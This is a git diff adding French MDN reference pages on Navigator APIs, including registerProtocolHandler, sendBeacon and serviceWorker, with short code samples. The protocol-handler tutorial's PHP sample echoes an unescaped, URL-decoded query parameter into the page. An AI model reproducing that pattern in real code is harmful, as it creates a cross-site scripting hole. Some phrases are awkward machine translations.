+ <dd>Retourne un objet {{domxref("navigator.mozNotification", "notification")}} utilisable pour délivrer des notifications à l'utilisateur depuis l'application web.</dd>
+ <dt>{{domxref("Navigator.mozSocial")}} {{non-standard_inline}}</dt>
+ <dd>Les objets retournés par la propriété <code>navigator.mozSocial</code> sont <span id="result_box" lang="fr"><span>disponibles dans le panneau du fournisseur de médias sociaux pour fournir les fonctionnalités dont il peut avoir besoin.</span></span></dd>
+ <dt>{{domxref("Navigator.presentation")}} {{non-standard_inline}}</dt>
+ <dd>Retourne une référence vers l'API {{domxref("Presentation")}}</dd>
+ <dt>{{domxref("Navigator.productSub")}} {{non-standard_inline}}</dt>
+ <dd>Retourne le nombre constructeur du navigateur actuel (par exemple, "20060909").</dd>
+ <dt>{{domxref("Navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Retourne une chaîne vide. Dans Netscape 4.7x, retourne "US &amp; CA domestic policy"  <em>(politique américaine)</em> ou "Export policy" <em>(politique d'exportation)</em>.</dd>
+ <dt>{{domxref("Navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Retourne un booléen indiquant si le navigateur fonctionne en mode autonome.  <span class="short_text" id="result_box" lang="fr"><span>Disponible uniquement sur le Safari iOS d'Apple.</span></span></dd>
+ <dt>{{domxref("Navigator.storageQuota")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Retourne une interface {{domxref('StorageQuota')}} qui fournit des moyens d'interroger et de demander des informations sur l'utilisation de l'espace de stockage et les quotas.</dd>
+ <dt>{{domxref("Navigator.vendor")}} {{non-standard_inline}}</dt>
+ <dd>Retourne le nom du fournisseur du navigateur courant (par exemple, "Netscape6").</dd>
+ <dt>{{domxref("Navigator.vendorSub")}} {{non-standard_inline}}</dt>
+ <dd>Retourne le numéro de version du fournisseur (par exemple, "6.1").</dd>
+ <dt>{{domxref("Navigator.webkitPointer")}} {{non-standard_inline}}</dt>
+ <dd>Retourne un objet PointerLock <em>(verrou du pointeur)</em> pour l'API <a href="https://developer.mozilla.org/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API">Mouse Lock</a>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<p><em>N'hérite d'aucune méthode, mais met en oeuvre celles définies par {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, <em>{{domxref("NavigatorUserMedia")}} </em>et {{domxref("NavigatorStorageUtils")}}.</em></p>
+
+<h3 id="Standard_2">Standard</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.getVRDisplays()")}} {{experimental_inline}}</dt>
+ <dd>Retourne <span id="result_box" lang="fr"><span>une annonce qui résout un tableau d'objets {{domxref ("VRDisplay")}} représentant tous les périphériques VR disponibles connectés à l'ordinateur.</span></span></dd>
+ <dt>{{domxref("Navigator.getUserMedia", "Navigator.getUserMedia()")}} {{experimental_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Après avoir demandé l'autorisation de l'utilisateur, renvoie le flux audio ou vidéo associé à une caméra ou un microphone sur l'ordinateur local.</span></span></dd>
+ <dt>{{domxref("Navigator.registerContentHandler()")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Permet aux sites Web de s'inscrire eux-mêmes comme un gestionnaire possible pour un type MIME donné.</span></span></dd>
+ <dt>{{domxref("Navigator.registerProtocolHandler()")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Permet aux sites Web de s'inscrire eux-mêmes comme un gestionnaire possible pour un protocole donné.</span></span></dd>
+ <dt>{{domxref("Navigator.requestMediaKeySystemAccess()")}} {{experimental_inline}}</dt>
+ <dd>Retourne une <span style="line-height: 19.0909080505371px;">{{jsxref("Promise")}}</span> pour un objet " <span style="line-height: 19.0909080505371px;">MediaKeySystemAccess</span> ".</dd>
+ <dt>{{domxref("Navigator.sendBeacon()")}}{{experimental_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Utilisé pour transférer de manière asynchrone une petite quantité de données à l'aide de </span></span> {{Glossary("HTTP")}} <span lang="fr"><span> de l'agent utilisateur vers un serveur Web.</span></span></dd>
+ <dt>{{domxref("Navigator.share()")}}{{experimental_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Appelle le mécanisme de partage natif de la plateforme actuelle.</span></span></dd>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt>
+ <dd>Retourne <code>false</code><em>(faux)</em>. <span id="result_box" lang="fr"><span>Fonctions JavaScript taint / untaint supprimées dans JavaScript 1.2.</span></span></dd>
+ <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Provoque des vibrations sur les appareils avec support.</span> <span>Ne fait rien si le support de vibration n'est pas disponible.</span></span></dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Non standard</h3>
+
+<div class="note">
+<p>Les appareils Firefox OS ajoutent d'autres méthodes non standard. Elles peuvent être consultées dans l'article <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/API/Navigator">Firefox OS Navigator extensions</a>.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Navigator.mozIsLocallyAvailable()")}} {{non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Permet de vérifier le code pour voir si le document d'un URI donné est disponible sans utiliser le réseau.</span></span></dd>
+ <dt>{{domxref("Navigator.mozPay()")}} {{non-standard_inline}}</dt>
+ <dd><span class="short_text" id="result_box" lang="fr"><span>Permet le paiement dans l'application.</span></span></dd>
+</dl>
diff --git a/files/fr/web/api/navigator/mozislocallyavailable/index.html b/files/fr/web/api/navigator/mozislocallyavailable/index.html
new file mode 100644
index 0000000000..cb28647309
--- /dev/null
+++ b/files/fr/web/api/navigator/mozislocallyavailable/index.html
@@ -0,0 +1,34 @@
+---
+title: window.navigator.isLocallyAvailable
+slug: Web/API/Navigator/mozIsLocallyAvailable
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Navigator/mozIsLocallyAvailable
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Permet de déterminer si une ressource donnée est disponible.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">window.navigator.isLocallyAvailable(<i>uri</i>,<i>ifOffline</i>);
+</pre>
+<ul>
+ <li><code>uri</code> est l'URI de la ressource dont la disponibilité doit être vérifiée, sous la forme d'une chaîne.</li>
+ <li><code>ifOffline</code> permet de spécifier si le cache de ressources hors ligne doit être vérifié ; indiquez <code>true</code> pour prendre en compte le cache de ressources hors ligne.</li>
+</ul>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre class="eval">var disponible = navigator.isLocallyAvailable("my-image-file.png", true);
+if (disponible) {
+  /* la ressource hors ligne est présente */
+} else {
+  alert("Certaines ressources nécessaires ne sont pas disponibles tant que vous ne serez pas connecté au réseau.");
+}
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>{{ Note("Des exceptions de sécurité peuvent se produire si l\'URI demandée n\'est pas de la même origine.") }}</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>Aucune ; cependant certaines informations sont disponibles : <a class="external" href="http://www.campd.org/stuff/Offline%20Cache.html">Marking Resources for Offline Use</a></p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.navigator.mozIsLocallyAvailable", "ja": "ja/DOM/window.navigator.mozIsLocallyAvailable" } ) }}</p>
diff --git a/files/fr/web/api/navigator/mozpower/index.html b/files/fr/web/api/navigator/mozpower/index.html
new file mode 100644
index 0000000000..5686a8d152
--- /dev/null
+++ b/files/fr/web/api/navigator/mozpower/index.html
@@ -0,0 +1,26 @@
+---
+title: window.navigator.mozPower
+slug: Web/API/Navigator/mozPower
+tags:
+  - B2G
+  - Firefox OS
+  - Non Standard
+  - Power Management
+  - WebAPI
+translation_of: Archive/B2G_OS/API/Navigator/mozPower
+---
+<div>
+  {{non-standard_header}} {{B2GOnlyHeader2('certified')}}</div>
+<h2 id="Summary" name="Summary">Résumé</h2>
+<p>Retourne un objet {{domxref("PowerManager")}} que vous pouvez utiliser pour gérer la consommation energétique de l'appareil.</p>
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+<pre class="syntaxbox">var power = window.navigator.mozPower;
+</pre>
+<h2 id="Value" name="Value">Valeur</h2>
+<p><code>navigator.mozPower</code> est un objet {{domxref("PowerManager")}}.</p>
+<h2 id="Specification" name="Specification">Spécification</h2>
+<p>Ne fait partie d'aucune spécification actuellement.</p>
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+<ul>
+  <li>{{domxref("window.navigator.requestWakeLock()","navigator.requestWakeLock()")}}</li>
+</ul>
diff --git a/files/fr/web/api/navigator/moztcpsocket/index.html b/files/fr/web/api/navigator/moztcpsocket/index.html
new file mode 100644
index 0000000000..82c23e3c4b
--- /dev/null
+++ b/files/fr/web/api/navigator/moztcpsocket/index.html
@@ -0,0 +1,34 @@
+---
+title: Navigator.mozTCPSocket
+slug: Web/API/Navigator/mozTCPSocket
+translation_of: Archive/B2G_OS/API/Navigator/mozTCPSocket
+---
+<p>{{APIRef("Firefox OS")}}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('privileged') }}</p>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Retourne une objet {{ domxref("TCPSocket") }}, vous pouvez l'utiliser pour ouvrir d'autres sockets.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">var socket = navigator.mozTCPSocket;
+</pre>
+
+<h2 id="Value" name="Value">Valeur</h2>
+
+<p><code>navigator.mozTCPSocket</code> est un objet {{domxref("TCPSocket")}} .</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Not part of any specification yet; however, this API is discussed at W3C as part of the <a class="external" href="http://www.w3.org/2012/sysapps/" rel="external" title="http://www.w3.org/2012/sysapps/">System Applications Working Group</a> under the <a href="http://www.w3.org/2012/sysapps/tcp-udp-sockets/">TCP and UDP Socket API</a> proposal.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("TCPSocket")}}</li>
+ <li><a href="/en-US/docs/WebAPI/TCP_Socket" title="/en-US/docs/WebAPI/TCP_Socket">TCP Socket</a></li>
+</ul>
diff --git a/files/fr/web/api/navigator/registerprotocolhandler/index.html b/files/fr/web/api/navigator/registerprotocolhandler/index.html
new file mode 100644
index 0000000000..4280481600
--- /dev/null
+++ b/files/fr/web/api/navigator/registerprotocolhandler/index.html
@@ -0,0 +1,50 @@
+---
+title: window.navigator.registerProtocolHandler
+slug: Web/API/Navigator/registerProtocolHandler
+tags:
+  - Firefox 3
+translation_of: Web/API/Navigator/registerProtocolHandler
+---
+<p>{{ ApiRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Permet aux sites web de s'enregistrer en tant que gestionnaires possibles pour des protocoles particuliers.</p>
+
+<p>{{ Note("Un site web ne peut enregistrer de gestionnaires de protocoles que pour lui-même. Pour des raisons de sécurité, il n\'est pas possible pour une extension ou un site d\'enregistrer des gestionnaires de protocoles ciblant d\'autres sites.") }}</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">window.navigator.registerProtocolHandler(<em>protocole</em>,<em>uri</em>,<em>titre</em>);
+</pre>
+
+<ul>
+ <li><code>protocole</code> est le protocole que le site désire gérer, sous la forme d'une chaîne.</li>
+ <li><code>uri</code> est l'URI du gestionnaire sous la forme d'une chaîne. Il peut contenir « %s » pour indiquer où insérer l'URI échappée du document à gérer, comme montré dans l'exemple plus bas.</li>
+ <li><code>titre</code> est le titre du gestionnaire présenté à l'utilisateur, sous la forme d'une chaîne.</li>
+</ul>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<p>Si votre application web est située à <span class="nowiki">http://www.example.com</span>, vous pouvez enregistrer un gestionnaire de protocole lui permettant de gérer « mailto » comme ceci :</p>
+
+<pre class="eval">navigator.registerProtocolHandler("mailto",
+                                 "<a class="link-https" href="https://www.example.com/?to=%s" rel="freelink">https://www.example.com/?to=%s</a>",
+                                 "Example Mail");
+</pre>
+
+<p>Ceci crée un gestionnaire permettant aux liens <code>mailto</code> de diriger l'utilisateur vers l'application web, en insérant l'adresse spécifiée dans le lien dans l'URL.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>Spécifié dans le <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">brouillon de travail Web Applications 1.0</a> du WHATWG.</p>
+
+<h3 id="Voir_.C3.A9galement" name="Voir_.C3.A9galement">Voir également</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers">Gestionnaires de protocoles web</a></li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.registerProtocolHandler", "es": "es/DOM/window.navigator.registerProtocolHandler", "ja": "ja/DOM/window.navigator.registerProtocolHandler", "ko": "ko/DOM/window.navigator.registerProtocolHandler", "pl": "pl/DOM/window.navigator.registerProtocolHandler" } ) }}</p>
diff --git a/files/fr/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html b/files/fr/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html
new file mode 100644
index 0000000000..8bacc37c9e
--- /dev/null
+++ b/files/fr/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html
@@ -0,0 +1,113 @@
+---
+title: Gestionnaires de protocoles web
+slug: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+translation_of: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<h3 id="Introduction" name="Introduction">Introduction</h3>
+
+<p>Il est relativement courant de voir des pages web lier des ressources utilisant des protocoles non-<code>http</code>. Prenons par exemple le protocole <code>mailto:</code> :</p>
+
+<pre>&lt;a href="mailto:webmaster@example.com"&gt;Webmestre&lt;/a&gt;
+</pre>
+
+<p>Les auteurs web peuvent utiliser un lien <code>mailto:</code> lorsqu'ils veulent fournir aux utilisateurs une manière pratique d'envoyer un courrier électronique, directement depuis la page web. Lorsque le lien est activé, le navigateur est supposé lancer l'application par défaut du bureau pour le courrier électronique. On pourrait appeler cela un gestionnaire de protocole<em>du bureau</em>.</p>
+
+<p>Les gestionnaires de protocoles web permettent à des applications web de participer également à ce processus. Leur importance va grandissant au fur et à mesure que différents types d'applications migrent vers le web. De fait, un grand nombre d'applications de courrier déjà basées sur le web pourraient traiter un lien <code>mailto</code>.</p>
+
+<h3 id="Enregistrement" name="Enregistrement">Enregistrement</h3>
+
+<p>La définition d'une application web comme gestionnaire de protocole n'est pas un processus difficile. En gros, l'application web utilise <code><a href="/fr/DOM/window.navigator.registerProtocolHandler" title="fr/DOM/window.navigator.registerProtocolHandler">registerProtocolHandler()</a></code> pour s'enregistrer auprès du navigateur comme gestionnaire potentiel pour un protocole donné. Par exemple :</p>
+
+<pre>navigator.registerProtocolHandler("mailto",
+                                  "https://www.example.com/?uri=%s",
+                                  "Example Mail");
+</pre>
+
+<p>Où les paramètres sont :</p>
+
+<ul>
+ <li>Le protocole.</li>
+ <li>Le modèle d'URL, utilisé comme gestionnaire. Le « %s » sera remplacé par le <code>href</code> du lien et une requête GET sera exécutée sur l'URL résultante.</li>
+ <li>Le nom du gestionnaire de protocole tel que présenté à l'utilisateur.</li>
+</ul>
+
+<p>Lorsqu'un navigateur exécutera ce code, il devra demander à l'utilisateur la permission d'autoriser l'application web à s'enregistrer comme gestionnaire du protocole. Firefox affichera une question dans une barre de notification :</p>
+
+<p><img alt="Image:wph-notification.png" class="internal" src="/@api/deki/files/1491/=Wph-notification.png"></p>
+
+<p>{{ Note() }}</p>
+
+<h4 id="Exemple" name="Exemple">Exemple</h4>
+
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html lang="fr"&gt;
+&lt;head&gt;
+  &lt;title&gt;Web Protocol Handler Sample - Register&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+    navigator.registerProtocolHandler("fake", "http://starkravingfinkle.org/projects/wph/handler.php?value=%s", "Protocole fake");
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Exemple de gestionnaire de protocole web&lt;/h1&gt;
+  &lt;p&gt;Cette page va installer un gestionnaire de protocole web pour le protocole &lt;code&gt;fake:&lt;/code&gt;.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Activation" name="Activation">Activation</h3>
+
+<p>À présent, chaque fois que l'utilisateur activera un lien utilisant le protocole enregistré, le navigateur dirigera l'action vers l'URL spécifiée lors de l'enregistrement de l'application web. Firefox, par défaut, demandera à l'utilisateur avant d'effectuer cette action.</p>
+
+<p><img alt="Image:wph-launch.png"></p>
+
+<h4 id="Exemple_2" name="Exemple_2">Exemple</h4>
+
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html lang="fr"&gt;
+&lt;head&gt;
+  &lt;title&gt;Exemple de gestionnaire de protocole web — test&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Hola, avez-vous déjà vu &lt;a href="fake:ceci%20est%20un%20faux%20protocole"&gt;ceci&lt;/a&gt; auparavant ?&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Traitement" name="Traitement">Traitement</h3>
+
+<p>La phase suivante est le traitement de l'action. Le navigateur extrait le <code>href</code> du lien activé, le combine avec le modèle d'URL fourni lors de l'enregistrement et effectue une requête HTTP GET sur l'URL. Ainsi, avec les exemples précédents, le navigateur effectuerait une requête GET sur cette URL :</p>
+
+<pre>http://starkravingfinkle.org/projects/wph/handler.php?value=fake:ceci%20est%20un%20faux%20protocole
+</pre>
+
+<p>Un code côté serveur peut extraire les paramètres de la chaîne de requête et effectuer l'action désirée.</p>
+
+<p>{{ Note("Le code côté serveur reçoit le contenu <strong>entier</strong> de l\'attribut <code>href</code>. Cela signifie qu\'il devra traiter la chaîne pour retirer l\'indication de protocole des données.") }}</p>
+
+<h4 id="Exemple_3" name="Exemple_3">Exemple</h4>
+
+<pre>&lt;?php
+$value = "";
+if ( isset ( $_GET["value"] ) ) {
+  $value = $_GET["value"];
+}
+?&gt;
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html lang="fr"&gt;
+&lt;head&gt;
+    &lt;title&gt;Exemple de gestionnaire de protocole web&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Exemple de gestionnaire de protocole web — Gestionnaire&lt;/h1&gt;
+  &lt;p&gt;Cette page est appelée lors de la gestion d'une action utilisant le protocole &lt;code&gt;fake:&lt;/code&gt;. Voici les données reçues :&lt;/p&gt;
+  &lt;textarea&gt;
+&lt;?php echo(urldecode($value)) ?&gt;
+  &lt;/textarea&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p> </p>
diff --git a/files/fr/web/api/navigator/sendbeacon/index.html b/files/fr/web/api/navigator/sendbeacon/index.html
new file mode 100644
index 0000000000..3b804059f0
--- /dev/null
+++ b/files/fr/web/api/navigator/sendbeacon/index.html
@@ -0,0 +1,107 @@
+---
+title: Navigator.sendBeacon()
+slug: Web/API/Navigator/sendBeacon
+tags:
+  - API
+  - Beacon
+  - Méthode
+  - Navigateur
+  - Performance Web
+  - Reference
+  - Réseau
+  - sendBeacon
+translation_of: Web/API/Navigator/sendBeacon
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La méthode  <code><strong>navigator.sendBeacon()</strong></code> peut être utilisée pour transférer une petite quantité de données de façon asynchrone via  {{Glossary("HTTP")}} vers un serveur web.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.sendBeacon(<em>url</em>, <em>donnees</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Le paramètre <code>url</code> indique l'URL résolue à laquelle les <code>donnees</code> seront transmises.</dd>
+</dl>
+
+<dl>
+ <dt><code>donnees</code></dt>
+ <dd>Le paramètre <code>donnees</code> est un objet {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, ou {{domxref("FormData")}} qui contient les données à transmettre.</dd>
+</dl>
+
+<h3 id="Valeurs_de_retour">Valeurs de retour</h3>
+
+<p>La méthode <code><strong>sendBeacon()</strong></code> retourne <code>true</code> (vrai) si l'agent utilisateur est en mesure de mettre en file les données à transférer avec succès. Sinon, la méthode retourne <code>false</code> (faux).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode répond aux besoins de certains codes analytiques ou de diagnostic qui tentent d'envoyer des données à un serveur web avant le déchargement (<em>unloading</em>) du document. Envoyer les données plus tôt pourrait résulter en une opportunité manquée de récolter des données. Toutefois, s'assurer que les données ont été envoyées pendant le déchargement du document est quelque chose qui a traditionnellement été difficile pour les développeurs, car les agents utilisateur ignorent généralement les requêtes {{domxref("XMLHttpRequest")}} faites à l'intérieur d'un gestionnaire d'événements {{event("unload")}}.</p>
+
+<p>Afin de résoudre ce problème, les codes analytiques ou de diagnostic faisaient historiquement appel à une requête <code>XMLHttpRequest</code> synchrone dans un gestionnaire d'événements <code>unload</code> ou {{event("beforeunload")}} pour soumettre les données. La requête <code>XMLHttpRequest</code> synchrone bloque le processus de déchargement du document, ce qui à son tour fait paraître la navigation plus lente. Il n'y a rien que la page suivante peut faire pour éviter cette perception d'une mauvaise performance de chargement de page, et le résultat est que l'utilisateur perçoit la nouvelle page web comme étant lente à se charger, même si le vrai problème provient de la page précédente.</p>
+
+<p>Il y a des techniques de contournement qui ont été utilisées pour s'assurer que ce type de données est transmis. Une technique de ce genre est de retarder le déchargement de la page pour soumettre  les données en créant un élément {{HTMLElement("img")}} et en mettant son attribut <code>src</code> dans le gestionnaire de déchargement. Puisque la plupart des agents utilisateur vont retarder le déchargement afin de compléter le chargement de l'image en attente, les données peuvent être transmises durant le déchargement. Une autre technique est de créer une boucle de no-op (aucune opération) pour plusieurs secondes à l'intérieur du gestionnaire de déchargement, afin de retarder le déchargement et soumettre les données au serveur.</p>
+
+<p>Non seulement ces techniques représentent-elles de mauvais patrons de programmation, certaines d'entre elles sont peu fiables, et elles résultent toutes en une perception d'une mauvaise performance de chargement de page pour la prochaine navigation.</p>
+
+<p>L'exemple suivant montre un code analytique théorique qui tente de soumettre des données à un serveur en utilisant une requête <code>XMLHttpRequest</code> synchrone dans un gestionnaire de déchargement. Cela résulte en un délai pour le déchargement de la page.</p>
+
+<pre class="brush: js">window.addEventListener('unload', enregistrerDonnees, false);
+
+function enregistrerDonnees() {
+  var client = new XMLHttpRequest();
+  client.open("POST", "/log", false); // Le troisième paramètre indique une synchronisation xhr
+  client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+  client.send(donneesAnalytiques);
+}
+</pre>
+
+<p>C'est là qu'entre en jeu <code><strong>sendBeacon()</strong></code>. En utilisant la méthode <code>sendBeacon()</code>, les données sont transmises de façon asynchrone au serveur web lorsque l'Agent Utilisateur a l'opportunité de le faire, sans retarder le déchargement ou affecter la performance de la navigation suivante. Cela résoud tous les problèmes avec la soumission de données analytiques : les données sont envoyées de façon fiable, asynchrone, et cela n'impacte pas le chargement de la page suivante. De plus, ce code est en fait plus simple à écrire que n'importe quelle de ces autres techniques!</p>
+
+<p>L'exemple suivant montre un patron de code analytique théorique qui soumet des données à un serveur en utilisant la méthode <code>sendBeacon()</code>.</p>
+
+<pre class="brush: js">window.addEventListener('unload', enregistrerDonnees, false);
+
+function enregistrerDonnees() {
+  navigator.sendBeacon("/log", donneesAnalytiques);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Beacon', '#sec-sendBeacon-method', 'sendBeacon()')}}</td>
+   <td>{{Spec2('Beacon')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Navigator.sendBeacon")}}</p>
+
+<p> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("navigator", "navigator")}}</li>
+ <li>{{domxref("WorkerNavigator.sendBeacon()")}} (Utilisation de <code>sendBeacon()</code> dans des <em>workers</em>)</li>
+</ul>
diff --git a/files/fr/web/api/navigator/serviceworker/index.html b/files/fr/web/api/navigator/serviceworker/index.html
new file mode 100644
index 0000000000..dcdbd96a0c
--- /dev/null
+++ b/files/fr/web/api/navigator/serviceworker/index.html
@@ -0,0 +1,115 @@
+---
+title: Navigator.serviceWorker
+slug: Web/API/Navigator/serviceWorker
+tags:
+  - API
+  - Navigateur
+  - Propriété
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorker
+translation_of: Web/API/Navigator/serviceWorker
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>Le <code><strong>Navigator.serviceWorker</strong></code> est une propriété en lecture seule qui renvoie un objet {{domxref("ServiceWorkerContainer")}}, et qui permet d'accéder à l'enregistrement, la suppression, la mise à jour, et la communication avec les objets {{domxref("ServiceWorker")}} pour le <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">document  associé</a>.</p>
+
+<h2 id="syntaxe">syntaxe</h2>
+
+<pre class="syntaxbox">var workerContainerInstance = navigator.serviceWorker;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>L'objet {{domxref("ServiceWorkerContainer")}}.</p>
+
+<p> </p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code ci-dessous vérifie si le navigateur supporte les service workers.</p>
+
+<pre><code>if ('serviceWorker' in navigator) {
+  // Supported!
+}</code></pre>
+
+<p> </p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#navigator-service-worker', 'navigator.serviceWorker')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_du_navigateur">Compatibilité du navigateur</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractéristique</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop("42.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractéristique</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utilisation de Service Workers</a></li>
+</ul>
diff --git a/files/fr/web/api/navigator/share/index.html b/files/fr/web/api/navigator/share/index.html
new file mode 100644
index 0000000000..21e57da9cb
--- /dev/null
+++ b/files/fr/web/api/navigator/share/index.html
@@ -0,0 +1,68 @@
+---
+title: Navigator.share
+slug: Web/API/Navigator/share
+translation_of: Web/API/Navigator/share
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p>La méthode <strong><code>Navigator.share()</code></strong> invoque le mécanisme de partage natif de l'appareil. Celle-ci appartient à l'API Web Share. Si l'API Web Share n'est pas supportée, alors la méthode sera <code>undefined</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
